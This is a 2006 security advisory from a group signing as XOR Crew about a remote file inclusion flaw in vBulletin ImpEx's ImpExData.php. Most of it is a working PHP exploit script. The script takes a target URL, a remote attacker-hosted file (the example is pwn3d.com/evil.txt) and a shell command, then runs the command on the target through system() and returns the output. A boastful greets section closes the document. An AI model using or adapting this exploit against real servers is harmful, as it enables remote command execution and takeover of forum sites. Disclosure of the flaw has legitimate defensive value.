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XOR Crew :: Security Advisory 
       3/22/2006
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vBulletin ImpEx <= 1.74 - Remote Command Execution Vulnerability
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http://www.xorcrew.net/
http://www.xorcrew.net/ReZEN
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:: Summary

       Vendor       :  vBulletin
       Vendor Site  :  http://www.vbulletin.com/docs/html/impex
       Product(s)   :  Impex - vBulletin Import / Export System
       Version(s)   :  All
       Severity     :  Medium/High
       Impact       :  Remote Command Execution
       Release Date :  3/22/2006
       Credits      :  ReZEN (rezen (a) xorcrew (.) net)

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I. Description

The ImpEx (Import / Export) system is the core system for importing from 
other forum software into vBulletin version 3.5.0 or higher.

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II. Synopsis

There is a remote file inclusion vulnerability that allows for remote 
command execution in the /ImpExData.php file.  The bug is here:

require_once ($systempath . 'impex/ImpExDatabase.php');

the $systempath variable is not set prior to being used in the 
require_once() function. The vendor and support team have been contacted.

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Exploit code:

-----BEGIN-----

<?php
/*
vbulletin ImpEx Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf
url:  http://www.xorcrew.net/ReZEN

example:
turl: http://www.target.com/impex/ImpExData.php?systempath=
hurl:http://www.pwn3d.com/evil.txt?

*/

$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
     ."turl:<br><input type=\"text\" name=\"turl\" size=\"90\" 
value=\"".$turl."\"><br>"
     ."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\" 
value=\"".$hurl."\"><br>"
     ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" 
value=\"".$cmd."\"><br>"
     ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"

     ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit']))
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($turl.$hurl, "r");
if (!$file) {
     echo "<p>Unable to get output.\n";
     exit;
}

echo $form;

while (!feof ($file)) {
     $line .= fgets ($file, 1024)."<br>";
     }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?>


------END------

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IV. Greets :>

All of xor, Infinity, stokhli, ajax, gml, cijfer, my beautiful girlfriend.

uh ohs!! + /srv/web/lotfree/ + LOTFREE uid 1010 = Lame Frenchies

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